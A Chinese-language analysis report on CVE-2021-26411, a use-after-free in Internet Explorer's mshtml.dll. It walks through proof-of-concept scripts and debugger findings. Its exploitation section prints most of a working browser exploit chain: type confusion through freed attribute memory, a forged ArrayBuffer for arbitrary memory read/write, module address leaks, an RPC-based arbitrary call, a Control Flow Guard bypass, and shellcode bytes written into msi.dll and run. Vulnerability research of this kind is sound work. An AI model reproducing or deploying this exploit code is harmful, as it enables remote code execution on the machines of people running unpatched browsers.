CVE-2021-26411漏洞分析报告

1.漏洞信息

CVE-2021-26411 该漏洞存在于iexplore.exe mshtml.dll模块,在JS9引擎处理dom对象时,由于未对nodevalue对象的有效性做判断,所导致的UAF漏洞,该漏洞可实现RCE.

2.漏洞分析

漏洞poc

poc比较简单,首先创建了一个element.

创建了2个Attribute属性.

声明了一个对象obj,将obj的valueof函数进行了重载,重载后的函数会清空element的所有属性

attr1赋值obj,attr2赋值123,然后将将这两个属性赋值于element

最后清除element的attr1属性.

<script>
var element = document.createElement('xxx'); 
var attr1 = document.createAttribute('yyy'); 
var attr2 = document.createAttribute('zzz'); 

var obj = {};
obj.valueOf = function() {
        element.clearAttributes();	
        return 0x1337;
};

attr1.nodeValue = obj;
attr2.nodeValue = 123;
element.setAttributeNode(attr1);
element.setAttributeNode(attr2);
element.removeAttributeNode(attr1); 
</script>

通过poc来看,最有可能产生uaf的代码可能是,obj.valueof重载后的回调函数,和最后element清除attr1属性的操作.但是并不确定obj.valueof()何时会被调用,代码中没有直接调用.

开始进行调试,程序会中断于此处,edx是CAttrArray,此处为空,在取偏移为0xC的值时,引发了空指针异常.

通过调用堆栈来看,程序会通过CElement::ie9_removeAttrubuteNode->ie9_removeAttributeNodeInternal->CattrArray::Destroy函数调用清除attr1.

1	element.removeAttributeNode(attr1);

下面对CElement::ie9_removeAttributeNodeInternal函数进行分析

当前CElement对象

首先会调用函数查找需要移除的Attr对象在CAttrArray中的索引

在CBase::FindAAIndexNS中可知CElement+0x10位置是CAttrArray数组,在数组中CAttrArray+8位置,可以看到数组.

这个数组中存储了Attributre和nodevalue对象.

poc中所创建的obj应是索引1处的0x165780C4,为nodevalue1,索引3处为nodevalue2,value值的0x7b=123.

CBase::FindAAIndexNS函数返回值为2,因为删除的元素是attr1,可知索引2处是attr1的对象.索引4为attr2的对象

然后程序再次调用该函数获取nodevalue对象索引,此时返回1.

接着会调用函数CBase::GetInfoBSTRat传入node_value对象索引,获取node_value值,并转换为BSTR字符串.在这个函数中获取node_value的操作会触发valueof函数的回调,会调用重载后的函数,执行”element.ClearAttribute();”的操作

而后执行函数删除CBase::DeleteAt删除索引2处attr对象

当前CAttrArray布局,可以看到CAttrArray由于被清空,attr和node_value元素均已被最后一个对象覆盖.

而后再次执行函数CBase::FindAIndexNS获取node_value索引,此时由于CAttrArray被清空,已经获取不到了,此时返回-1,随后调用DeleteAt删除node_value,但是前面获取的node_value索引是-1

传入索引为-1时,会触发异常将CAttrArray置为null,在CAttrArray::Destroy函数获取成员变量时触发空指针异常.

由于在ClearAttributes();函数执行时,CAttrArray数组中会通过最后一个对象进行覆盖操作,并且在后面第一次执行CBase::DeleteAt中会进行取值.所以可以通过创建BSTR字符串,赋值给最后一个nodevalue,在SysFreeString时进行触发释放重引用.

修改后poc如下:

<script>
    var element = document.createElement('a');
    var attr1 = document.createAttribute('b');
    var attr2 = document.createAttribute("c");
    var hd2;
    var obj = {};
    obj.valueOf = function () {
        element.clearAttributes();
        return 0x1337;
    };
    attr1.nodeValue = obj;
    element.setAttributeNode(attr1);
    element.setAttribute("d", Array(0x10000).join('A'));
    element.removeAttributeNode(attr1);
</script>

当前Array

执行完ClearAttributes后,CAttrArray被覆盖,并且node_value的BSTR字符串已经被释放.

BSTR内存空间被释放

第一次DeleteAt时,nodevalue中BSTR字符串内存空间被释放重引用.所以该漏洞本质是一个UAF类型的漏洞.

3.漏洞利用

漏洞的利用方式是通过两个指针指向该nodevalue内存,进行类型混淆,通过读写这块内存构造出一个起始地址为0,长度为0xffffffff的ArrayBuffer,然后解析为DataView,实现任意地址的读写.

而后通过构造RPC_MESSAGE调用NdrServerCall进行任意系统函数的调用,覆盖rpcrt4.dll系统调用为KiFastSystemCalRetl关闭rpcrt4.dll的CFG保护,然后进行任意函数的跳转.执行shellcode.

在第二次DeleteAt时,FindAAIndexNS返回索引为-1,而导致在函数中主动触发异常使CAttray被置空,所以需要绕过异常,可以在ClearAttributes后,再将attribute set回去,同时在ClearAttributes释放内存后,hd2.nodevalue使用大小为0x20010的dataview对象占用这块内存空间.

att.nodeValue = {
           valueOf: function () {
               hd1.nodeValue = (new alloc1()).nodeValue
               ele.clearAttributes()
               //重引用被释放的内存
               hd2 = hd1.cloneNode()
               //绕过异常
               ele.setAttribute('attribute', 1337)
           }
       }

function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}

然后在removeAttribute时进行二次释放,然后使用一个dict对象再次占用这块内存.这样做的目的是进行类型混淆,通过hd2.nodevalue读取和修改hd0.nodevalue内存.

function alloc2() {
           // 创建字典对象
           var dic1 = new ActiveXObject('Scripting.Dictionary')
           var dic2 = new ActiveXObject('Scripting.Dictionary')
           dic2.add(0, 1)
           dic1.add(0, dic2.items())
           dic1.add(1, fake)
           dic1.add(2, arr)
           for (i = 3; i < 0x20010 / 0x10; ++i)
               dic1.add(i, 0x12341234)
           return dic1.items()
       }
 var alloc = alloc2()
 // 触发valueof函数回调
 ele.removeAttributeNode(att)
 //再次重引用removeAttributeNode后被释放的内存
 hd0.nodeValue = alloc
 //通过hd2.nodevalue读取重用后hd0.nodevalue内存
 var leak = new Uint32Array(dump(hd2.nodeValue))
 //fake
 var pAbf = leak[6]
 //arr[]地址
 var pArr = leak[10];

1:023:x86> dd 0c0b8890
0c0b8890  00000000 00000000 098202b8 00000000 dict2.items();
0c0b88a0  00000009 00000000 09dcdec4 00000000 fakeBuf ArrayBuffer(0x100)
0c0b88b0  00000009 00000000 09dcdf04 00000000 arr  [{}]
0c0b88c0  00000003 00000000 12341234 00000000
0c0b88d0  00000003 00000000 12341234 00000000
0c0b88e0  00000003 00000000 12341234 00000000
0c0b88f0  00000003 00000000 12341234 00000000
0c0b8900  00000003 00000000 12341234 00000000

然后取出fakeBuf的地址,并刷新nodevalue的内存写入前40个字节地址.

 function flush() {
            hd1.nodeValue = (new alloc1()).nodeValue
            hd2.nodeValue = 0
            hd2 = hd1.cloneNode()
        }
var VT_I4 = 0x3;
var VT_DISPATCH = 0x9;
var VT_BYREF = 0x4000;
var bufArr = new Array(0x10);
var fakeArr = new Uint32Array(fake);
for (var i = 0; i < 0x10; i++) {
     setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4));
}
flush();

再次将这些内存地址读取至bufArr[i]中,取出fakeBuf属性

ref = new VBArray(hd0.nodeValue);
for (var i = 0; i < 0x10; i++) {
    bufArr[i] = ref.getItem(i + 1);
}
ref = null;
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]));
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04));
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c));
flush();

Int32Array,ArrayBuffer内存结构参考,64位下有所差别

Struct Int32Array     allocated at Custom Heap
{
    void* pvftable;
    DOWRD var_2;
    DOWRD var_3;
    DOWRD var_4;
    DOWRD var_5;
    DOWRD var_6;
    DOWRD size;            //条目的个数，字节数等于这项的值*4
    void* pTypeArrayData;  //Arraybuffer Data
    void* pArrayBuffer;   //Arraybuffer Object
    DWORD var_10;
    DWORD var_11;
    DWORD var_12;
}
Struct ArrayBuffer      allocated at Custom Heap
{
    void* pvftable;
    DOWRD var_2;
    DOWRD var_3;
    DOWRD var_4;
    void* pTypeArrayData;       //Arraybuffer Data
    DWORD size;                 //array bytes
    DWORD var_10;
    DWORD var_11;
}

这里对ArrayBuffer做了封装,外层是JavaScriptDispatch对象

ArrayBuffer_data由于前面通过下面这条代码进行初始化,所以其中存储的是Array对象.也是后面要进行伪造的ArrayBuffer对象

1 2	var fake = new ArrayBuffer(0x100); var fakeArr = new Uint32Array(fake);

刷新后,0f0 0f4 10c位置对应着fakebuf的属性

然后通过前面申请的指向fakeBuf的fakeArray对象伪造出一份起始地址为0x0,长度为0xffffffff的ArrayBuffer对象,将bufArr中属性写入fakeArr,并将fake的ArrayBuf虚表指针地址fakeArr[4]位置,

将fake的一些属性进行替换,并将长度修改为0xffffffff,然后将构造好的ArrayBuffer写入node_value中

ref = new VBArray(hd0.nodeValue);
      var vt = ref.getItem(1);
      var gc = ref.getItem(2);
      var bs = ref.getItem(3);
      ref = null;
      for (var i = 0; i < 16; ++i) {
          fakeArr[i] = bufArr[i];
      }
      fakeArr[4] = bs + 0x40;
      fakeArr[16] = vt;
      fakeArr[17] = gc;
      fakeArr[24] = 0xffffffff;
      setData(1, new Data(VT_DISPATCH, bs));
      flush();

然后将这个ArrayBuffer解析为dataview对象,就可以实现任意地址读写.然后通过将对象存储至arr[{}],并读取pArr值,实现任意对象地址的读取.

function addrOf(obj) {
           arr[0] = obj
           return read(pArr, 32)
       }
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)

通过任意地址读写泄露模块的基址,通过PE文件结构获取一些函数地址

var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')

而后创建了一个Attribute对象xyz,并覆盖其函数normalize(),修改为NdrServerCall2

var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)

RPC_MESSAGE结构,由图中可以看出Handle存放了一个OSF_SCALL虚表指针,Buffer位置存放了远程调用中函数的传参,RpcInterfaceInformation存放了函数接口信息,通过几个结构体包装了函数的信息,最终会指向的是函数的指针.然后最终通过NdrServerCall2进行调用.

NdrServerCall2接收参数RPC_MESSAGE,内部会调用NdrStubCall2函数

内部在获取RPC_MESSAGE后会对函数偏移进行一些计算,以及参数做一些处理,然后进行函数调用

第一个值Handle是OSF_SCALL 虚表指针,通过查看其引用,可以通过调用函数I_RpcTransServerNewConnection函数获取到这个虚表指针填充至handle.

exp中也是这样进行构造的

function aos() {
          var baseObj = createBase()
          var addr = baseObj.addr + baseObj.size
          var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
          prepareCall(addr, I_RpcTransServerNewConnection)
          return read(read(call(addr) - 0xf8, 32), 32)
      }

然后对RPC结构进行初始化

function initRpc() {
           var data = [50, 72, 0, 0, 0, 0, 0, 0, 52, 0, 192, 0, 16, 0, 68, 13, 10, 1, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 9, 0, 72, 0, 4, 0, 9, 0, 72, 0, 8, 0, 9, 0, 72, 0, 12, 0, 9, 0, 72, 0, 16, 0, 9, 0, 72, 0, 20, 0, 9, 0, 72, 0, 24, 0, 9, 0, 72, 0, 28, 0, 9, 0, 72, 0, 32, 0, 9, 0, 72, 0, 36, 0, 9, 0, 72, 0, 40, 0, 9, 0, 72, 0, 44, 0, 9, 0, 112, 0, 48, 0, 9, 0, 0]
           var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
           var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
           var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
           var RPCMessageObject = createArrayBuffer(cbase.size())
           var buffer = createArrayBuffer(0x100)
           var buffer2 = createArrayBuffer(0x200)
           var AttributeVtable = read(patt, 32)
           var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
           var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
           var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
           var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
           var rpcProcStringBuffer = createArrayBuffer(data.length)
           writeData(rpcProcStringBuffer, data)
           var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
           var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
           var NdrServerCall2Buffer = createArrayBuffer(4)
           write(NdrServerCall2Buffer, NdrServerCall2, 32)
           write(MSHTMLSymbolBuffer, osf_vft, 32)
           write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
           write(MSHTMLSymbolBuffer + 8, 0x40, 32)
           cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
           cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
           cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
           cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
           cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
           cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
           write(RPCMessageObject + 76, 1, 32)
           syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
           RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
           RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
           _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
           _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
           _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
           _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
           _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
           _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
           _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
           return RPCMessageObject
       }

通过覆盖rpcrt4_guard_check_icall_fptr中保存的函数指针,修改为KiFastSystemCallRet关闭CFG保护.使其可以跳转到shellcode.

function killCfg(addr) {
      var cfgobj = new CFGObject(addr)
      if (!cfgobj.getCFGValue()) return
      var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
      var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
      var tmpBuffer = createArrayBuffer(4)
      // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
      call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
      // 替换rpcrt4!__guard_check_icall_fptr保存的指针，修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
      // 关闭rpcrt4的CFG检查
      write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
      // 恢复PRCRT4!__gurad_check_icall_fptr内存属性
      call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
      map.delete(tmpBuffer)
  }

执行shellcode

          var shellcode = new Uint8Array([ 0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63, 0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7, 0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,
0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,
0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75,
0x05, 0x95, 0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD,
0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE,
0x06, 0x3A, 0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0, 0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24,
0x1C, 0x75, 0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03,
0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9,
0x33, 0xDB, 0x53, 0x68, 0x65, 0x64, 0x7E, 0x7E, 0x68, 0x68, 0x61, 0x63, 0x6B, 0x8B, 0xC4, 0x53,
0x50, 0x50, 0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8, 0x0C, 0x0D, 0xCC, 0x04, 0x00, 0x0B,
0x0A, 0x0A, 0xCA, 0x02, 0xAD, 0x0B, 0x0A, 0x0A, 0x0E, 0x0D, 0x00, 0x01, 0x50, 0x00, 0x0A, 0x0B,
0xFF, 0x0E, 0x0C, 0xEA, 0xEA, 0x0A, 0x0B, 0xFF, 0x0E, 0x04, 0xCA, 0x02, 0x0A, 0xEC, 0x0E, 0x0C,
0xDE, 0x0E, 0x04, 0x0B, 0xFF, 0x0E, 0xED, 0x0A, 0x0A, 0x0E, 0x0C, 0xDE, 0xCA, 0x02, 0x0A, 0xEC,
0x0E, 0x0C, 0xDE, 0x0E, 0xEA, 0x0D, 0x0B, 0xFF, 0x0E, 0x32, 0x0B, 0xFF, 0x0E, 0x0A, 0x0E, 0xCA,
0x02 ])
    var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
    var tmpBuffer = createArrayBuffer(4)
    call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
    writeData(msi, shellcode) // mov eax, 0x1337 ; ret
    call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
    var result = call2(msi, [])

参考链接:

https://enki.co.kr/blog/2021/02/04/ie_0day.html

https://ha.cker.in/index.php/Article/17190

https://iamelli0t.github.io/2021/03/12/CVE-2021-26411.html

https://paper.seebug.org/1579/